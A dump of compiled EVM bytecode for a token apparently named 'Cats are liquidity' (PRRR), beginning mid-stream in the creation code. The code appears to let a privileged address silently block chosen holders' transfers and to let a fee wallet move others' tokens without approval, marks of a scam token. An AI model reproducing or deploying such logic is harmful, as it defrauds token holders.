fffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611854575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561186d5750600760149054906101000a900460ff16155b80156118855750600760159054906101000a900460ff165b80156118dd575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611980575f6119006118ef306108a2565b6118fb60125486611e11565b611e11565b905061190b81611e29565b5f4790505f81111561197d57600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561197b573d5f803e3d5ffd5b505b50505b5b5f811115611a80576119d98160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a779190612377565b60405180910390a35b611ad08260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461216190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611b73611b27828461216190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c16848661216190919063ffffffff16565b604051611c239190612377565b60405180910390a3505b505050565b5f83831115611c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6d90612ee7565b60405180910390fd5b5f8385611c839190612f05565b9050809150509392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611d61575f9050611dc2565b5f8284611d6e9190612684565b9050828482611d7d91906127c0565b14611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db490612fa8565b60405180910390fd5b809150505b92915050565b5f611e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612175565b905092915050565b5f818311611e1f5782611e21565b815b905092915050565b6001600760146101000a81548160ff021916908315150217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611ea8573d5f803e3d5ffd5b508060105410156120e7575f600267ffffffffffffffff811115611ecf57611ece612fc6565b5b604051908082528060200260200182016040528015611efd5781602001602082028036833780820191505090505b50905030815f81518110611f1457611f13612ff3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fb8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fdc9190612741565b81600181518110611ff057611fef612ff3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120563060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461107a565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120b89594939291906130d7565b5f604051808303815f87803b1580156120cf575f80fd5b505af11580156120e1573d5f803e3d5ffd5b50505050505b5f600760146101000a81548160ff02191690831515021790555050565b5f8082846121129190612ddc565b905083811015612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e90613179565b60405180910390fd5b8091505092915050565b5f61216d83835f611c32565b905092915050565b5f80831182906121bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b29190612246565b60405180910390fd5b505f83856121c991906127c0565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612218826121d6565b61222281856121e0565b93506122328185602086016121f0565b61223b816121fe565b840191505092915050565b5f6020820190508181035f83015261225e818461220e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6122938261226a565b9050919050565b6122a381612289565b81146122ad575f80fd5b50565b5f813590506122be8161229a565b92915050565b5f819050919050565b6122d6816122c4565b81146122e0575f80fd5b50565b5f813590506122f1816122cd565b92915050565b5f806040838503121561230d5761230c612266565b5b5f61231a858286016122b0565b925050602061232b858286016122e3565b9150509250929050565b5f8115159050919050565b61234981612335565b82525050565b5f6020820190506123625f830184612340565b92915050565b612371816122c4565b82525050565b5f60208201905061238a5f830184612368565b92915050565b5f805f606084860312156123a7576123a6612266565b5b5f6123b4868287016122b0565b93505060206123c5868287016122b0565b92505060406123d6868287016122e3565b9150509250925092565b5f60ff82169050919050565b6123f5816123e0565b82525050565b5f60208201905061240e5f8301846123ec565b92915050565b5f6020828403121561242957612428612266565b5b5f612436848285016122b0565b91505092915050565b61244881612289565b82525050565b5f6020820190506124615f83018461243f565b92915050565b5f806040838503121561247d5761247c612266565b5b5f61248a858286016122b0565b925050602061249b858286016122b0565b9150509250929050565b5f6124af8261226a565b9050919050565b6124bf816124a5565b82525050565b5f6020820190506124d85f8301846124b6565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125605780860481111561253c5761253b6124de565b5b600185161561254b5780820291505b80810290506125598561250b565b9450612520565b94509492505050565b5f826125785760019050612633565b81612585575f9050612633565b816001811461259b57600281146125a5576125d4565b6001915050612633565b60ff8411156125b7576125b66124de565b5b8360020a9150848211156125ce576125cd6124de565b5b50612633565b5060208310610133831016604e8410600b84101617156126095782820a905083811115612604576126036124de565b5b612633565b6126168484846001612517565b9250905081840481111561262d5761262c6124de565b5b81810290505b9392505050565b5f612644826122c4565b915061264f836123e0565b925061267c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612569565b905092915050565b5f61268e826122c4565b9150612699836122c4565b92508282026126a7816122c4565b915082820484148315176126be576126bd6124de565b5b5092915050565b7f6f776e6572206973206e6f7420617661696c61626c65000000000000000000005f82015250565b5f6126f96016836121e0565b9150612704826126c5565b602082019050919050565b5f6020820190508181035f830152612726816126ed565b9050919050565b5f8151905061273b8161229a565b92915050565b5f6020828403121561275657612755612266565b5b5f6127638482850161272d565b91505092915050565b5f60408201905061277f5f83018561243f565b61278c602083018461243f565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6127ca826122c4565b91506127d5836122c4565b9250826127e5576127e4612793565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61281c612817612812846127f0565b6127f9565b6122c4565b9050919050565b61282c81612802565b82525050565b5f60c0820190506128455f83018961243f565b6128526020830188612368565b61285f6040830187612823565b61286c6060830186612823565b612879608083018561243f565b61288660a0830184612368565b979650505050505050565b5f8151905061289f816122cd565b92915050565b5f805f606084860312156128bc576128bb612266565b5b5f6128c986828701612891565b93505060206128da86828701612891565b92505060406128eb86828701612891565b9150509250925092565b5f6040820190506129085f83018561243f565b6129156020830184612368565b9392505050565b61292581612335565b811461292f575f80fd5b50565b5f815190506129408161291c565b92915050565b5f6020828403121561295b5761295a612266565b5b5f61296884828501612932565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6129cb6026836121e0565b91506129d682612971565b604082019050919050565b5f6020820190508181035f8301526129f8816129bf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612a596024836121e0565b9150612a64826129ff565b604082019050919050565b5f6020820190508181035f830152612a8681612a4d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ae76022836121e0565b9150612af282612a8d565b604082019050919050565b5f6020820190508181035f830152612b1481612adb565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612b4f6020836121e0565b9150612b5a82612b1b565b602082019050919050565b5f6020820190508181035f830152612b7c81612b43565b9050919050565b7f6e6f7420737461727465642079657400000000000000000000000000000000005f82015250565b5f612bb7600f836121e0565b9150612bc282612b83565b602082019050919050565b5f6020820190508181035f830152612be481612bab565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c456025836121e0565b9150612c5082612beb565b604082019050919050565b5f6020820190508181035f830152612c7281612c39565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cd36023836121e0565b9150612cde82612c79565b604082019050919050565b5f6020820190508181035f830152612d0081612cc7565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d616029836121e0565b9150612d6c82612d07565b604082019050919050565b5f6020820190508181035f830152612d8e81612d55565b9050919050565b5f612d9f826122c4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612dd157612dd06124de565b5b600182019050919050565b5f612de6826122c4565b9150612df1836122c4565b9250828201905080821115612e0957612e086124de565b5b92915050565b7f4578636565647320746865205f6d6178416d6f756e7453697a652e00000000005f82015250565b5f612e43601b836121e0565b9150612e4e82612e0f565b602082019050919050565b5f6020820190508181035f830152612e7081612e37565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612ed16028836121e0565b9150612edc82612e77565b604082019050919050565b5f6020820190508181035f830152612efe81612ec5565b9050919050565b5f612f0f826122c4565b9150612f1a836122c4565b9250828203905081811115612f3257612f316124de565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f926021836121e0565b9150612f9d82612f38565b604082019050919050565b5f6020820190508181035f830152612fbf81612f86565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61305281612289565b82525050565b5f6130638383613049565b60208301905092915050565b5f602082019050919050565b5f61308582613020565b61308f818561302a565b935061309a8361303a565b805f5b838110156130ca5781516130b18882613058565b97506130bc8361306f565b92505060018101905061309d565b5085935050505092915050565b5f60a0820190506130ea5f830188612368565b6130f76020830187612823565b8181036040830152613109818661307b565b9050613118606083018561243f565b6131256080830184612368565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613163601b836121e0565b915061316e8261312f565b602082019050919050565b5f6020820190508181035f83015261319081613157565b905091905056fea2646970667358221220527bdd065b52ff71f323e137d28cf1385a62e03f19ec84f4724ed8e069b40b5564736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106101ba575f3560e01c8063715018a6116100eb578063b2e7fa9811610089578063d5a78cf111610063578063d5a78cf1146105cf578063dd62ed3e146105f9578063f2fde38b14610635578063f550ab441461065d576101c1565b8063b2e7fa9814610567578063b984ea7d14610591578063c9567bf9146105b9576101c1565b80638da5cb5b116100c55780638da5cb5b146104ad57806395d89b41146104d7578063a666ec1c14610501578063a9059cbb1461052b576101c1565b8063715018a614610445578063751039fc1461045b57806382b3aa5814610471576101c1565b80632dd238b01161015857806344419df51161013257806344419df51461037957806368da3352146103a357806370a08231146103df57806370b04ba01461041b576101c1565b80632dd238b0146102fb578063313ce56714610325578063441351c61461034f576101c1565b80631ab06688116101945780631ab066881461025557806320800a001461027f57806323b872dd146102955780632793aa00146102d1576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806318160ddd1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610687565b6040516101e69190612246565b60405180910390f35b3480156101fa575f80fd5b50610215600480360381019061021091906122f7565b6106c4565b604051610222919061234f565b60405180910390f35b348015610236575f80fd5b5061023f6106e1565b60405161024c9190612377565b60405180910390f35b348015610260575f80fd5b50610269610704565b6040516102769190612377565b60405180910390f35b34801561028a575f80fd5b5061029361070a565b005b3480156102a0575f80fd5b506102bb60048036038101906102b69190612390565b610758565b6040516102c8919061234f565b60405180910390f35b3480156102dc575f80fd5b506102e5610865565b6040516102f29190612377565b60405180910390f35b348015610306575f80fd5b5061030f61086b565b60405161031c9190612377565b60405180910390f35b348015610330575f80fd5b50610339610871565b60405161034691906123fb565b60405180910390f35b34801561035a575f80fd5b50610363610879565b6040516103709190612377565b60405180910390f35b348015610384575f80fd5b5061038d61087f565b60405161039a9190612377565b60405180910390f35b3480156103ae575f80fd5b506103c960048036038101906103c49190612414565b610885565b6040516103d6919061234f565b60405180910390f35b3480156103ea575f80fd5b5061040560048036038101906104009190612414565b6108a2565b6040516104129190612377565b60405180910390f35b348015610426575f80fd5b5061042f6108e8565b60405161043c9190612377565b60405180910390f35b348015610450575f80fd5b506104596108ee565b005b348015610466575f80fd5b5061046f610901565b005b34801561047c575f80fd5b5061049760048036038101906104929190612414565b61092e565b6040516104a49190612377565b60405180910390f35b3480156104b8575f80fd5b506104c1610943565b6040516104ce919061244e565b60405180910390f35b3480156104e2575f80fd5b506104eb61096a565b6040516104f89190612246565b60405180910390f35b34801561050c575f80fd5b506105156109a7565b6040516105229190612377565b60405180910390f35b348015610536575f80fd5b50610551600480360381019061054c91906122f7565b6109ad565b60405161055e919061234f565b60405180910390f35b348015610572575f80fd5b5061057b6109ca565b6040516105889190612377565b60405180910390f35b34801561059c575f80fd5b506105b760048036038101906105b29190612414565b6109d0565b005b3480156105c4575f80fd5b506105cd610ab7565b005b3480156105da575f80fd5b506105e3610f44565b6040516105f09190612377565b60405180910390f35b348015610604575f80fd5b5061061f600480360381019061061a9190612467565b610f4a565b60405161062c9190612377565b60405180910390f35b348015610640575f80fd5b5061065b60048036038101906106569190612414565b610fcc565b005b348015610668575f80fd5b5061067161104e565b60405161067e91906124c5565b60405180910390f35b60606040518060400160405280601281526020017f4361747320617265206c69717569646974790000000000000000000000000000815250905090565b5f6106d76106d0611073565b848461107a565b6001905092915050565b5f6009600a6106f0919061263a565b633b9aca006106ff9190612684565b905090565b600a5481565b61071261123d565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610755573d5f803e3d5ffd5b50565b5f6107648484846112bb565b5f600a60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106107b0575f610845565b610844835f60025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107fb611073565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c329092919063ffffffff16565b5b905061085985610853611073565b8361107a565b60019150509392505050565b60095481565b60085481565b5f6009905090565b600d5481565b60115481565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600b5481565b6108f661123d565b6108ff5f611c90565b565b61090961123d565b6009600a610917919061263a565b633b9aca006109269190612684565b601181905550565b6004602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5052525200000000000000000000000000000000000000000000000000000000815250905090565b60125481565b5f6109c06109b9611073565b84846112bb565b6001905092915050565b60105481565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a569061270f565b60405180910390fd5b600160055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610abf61123d565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b20573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b449190612741565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ba9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bcd9190612741565b6040518363ffffffff1660e01b8152600401610bea92919061276c565b6020604051808303815f875af1158015610c06573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c2a9190612741565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf13060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610cdd919061263a565b633b9aca00610cec9190612684565b61107a565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064610d3b306108a2565b6062610d479190612684565b610d5191906127c0565b5f80610d5b610943565b426040518863ffffffff1660e01b8152600401610d7d96959493929190612832565b60606040518083038185885af1158015610d99573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610dbe91906128a5565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e5e9291906128f5565b6020604051808303815f875af1158015610e7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e9e9190612946565b506001600760156101000a81548160ff0219169083151502179055506009600a610ec8919061263a565b633b9aca00610ed79190612684565b601181905550606460045f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610fd461123d565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611042576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611039906129e1565b60405180910390fd5b61104b81611c90565b50565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110df90612a6f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d90612afd565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112309190612377565b60405180910390a3505050565b611245611073565b73ffffffffffffffffffffffffffffffffffffffff16611263610943565b73ffffffffffffffffffffffffffffffffffffffff16146112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b090612b65565b60405180910390fd5b565b5f600760159054906101000a900460ff168061131d575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390612bcd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c190612c5b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611438576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142f90612ce9565b60405180910390fd5b5f821161147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147190612d77565b60405180910390fd5b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156114cf5750611c2d565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561156d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156119815760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116055761160260646115f4600d54600c54106115e157600b546115e5565b6009545b85611d5190919063ffffffff16565b611dc890919063ffffffff16565b90505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116ae575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561170957600c5f8154809291906116c590612d95565b919050555061170660646116f8600d54600c54106116e557600a546116e9565b6008545b85611d5190919063ffffffff16565b611dc890919063ffffffff16565b90505b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146117b6576011548261176a856108a2565b6117749190612ddc565b11156117b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ac90612e59565b60405180910390fd5b5b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611854575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561186d5750600760149054906101000a900460ff16155b80156118855750600760159054906101000a900460ff165b80156118dd575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611980575f6119006118ef306108a2565b6118fb60125486611e11565b611e11565b905061190b81611e29565b5f4790505f81111561197d57600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561197b573d5f803e3d5ffd5b505b50505b5b5f811115611a80576119d98160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a779190612377565b60405180910390a35b611ad08260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461216190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611b73611b27828461216190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c16848661216190919063ffffffff16565b604051611c239190612377565b60405180910390a3505b505050565b5f83831115611c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6d90612ee7565b60405180910390fd5b5f8385611c839190612f05565b9050809150509392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611d61575f9050611dc2565b5f8284611d6e9190612684565b9050828482611d7d91906127c0565b14611dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db490612fa8565b60405180910390fd5b809150505b92915050565b5f611e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612175565b905092915050565b5f818311611e1f5782611e21565b815b905092915050565b6001600760146101000a81548160ff021916908315150217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611ea8573d5f803e3d5ffd5b508060105410156120e7575f600267ffffffffffffffff811115611ecf57611ece612fc6565b5b604051908082528060200260200182016040528015611efd5781602001602082028036833780820191505090505b50905030815f81518110611f1457611f13612ff3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fb8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fdc9190612741565b81600181518110611ff057611fef612ff3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120563060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461107a565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016120b89594939291906130d7565b5f604051808303815f87803b1580156120cf575f80fd5b505af11580156120e1573d5f803e3d5ffd5b50505050505b5f600760146101000a81548160ff02191690831515021790555050565b5f8082846121129190612ddc565b905083811015612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e90613179565b60405180910390fd5b8091505092915050565b5f61216d83835f611c32565b905092915050565b5f80831182906121bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b29190612246565b60405180910390fd5b505f83856121c991906127c0565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612218826121d6565b61222281856121e0565b93506122328185602086016121f0565b61223b816121fe565b840191505092915050565b5f6020820190508181035f83015261225e818461220e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6122938261226a565b9050919050565b6122a381612289565b81146122ad575f80fd5b50565b5f813590506122be8161229a565b92915050565b5f819050919050565b6122d6816122c4565b81146122e0575f80fd5b50565b5f813590506122f1816122cd565b92915050565b5f806040838503121561230d5761230c612266565b5b5f61231a858286016122b0565b925050602061232b858286016122e3565b9150509250929050565b5f8115159050919050565b61234981612335565b82525050565b5f6020820190506123625f830184612340565b92915050565b612371816122c4565b82525050565b5f60208201905061238a5f830184612368565b92915050565b5f805f606084860312156123a7576123a6612266565b5b5f6123b4868287016122b0565b93505060206123c5868287016122b0565b92505060406123d6868287016122e3565b9150509250925092565b5f60ff82169050919050565b6123f5816123e0565b82525050565b5f60208201905061240e5f8301846123ec565b92915050565b5f6020828403121561242957612428612266565b5b5f612436848285016122b0565b91505092915050565b61244881612289565b82525050565b5f6020820190506124615f83018461243f565b92915050565b5f806040838503121561247d5761247c612266565b5b5f61248a858286016122b0565b925050602061249b858286016122b0565b9150509250929050565b5f6124af8261226a565b9050919050565b6124bf816124a5565b82525050565b5f6020820190506124d85f8301846124b6565b92915050565b7f4e487b710000000000000000000000000000000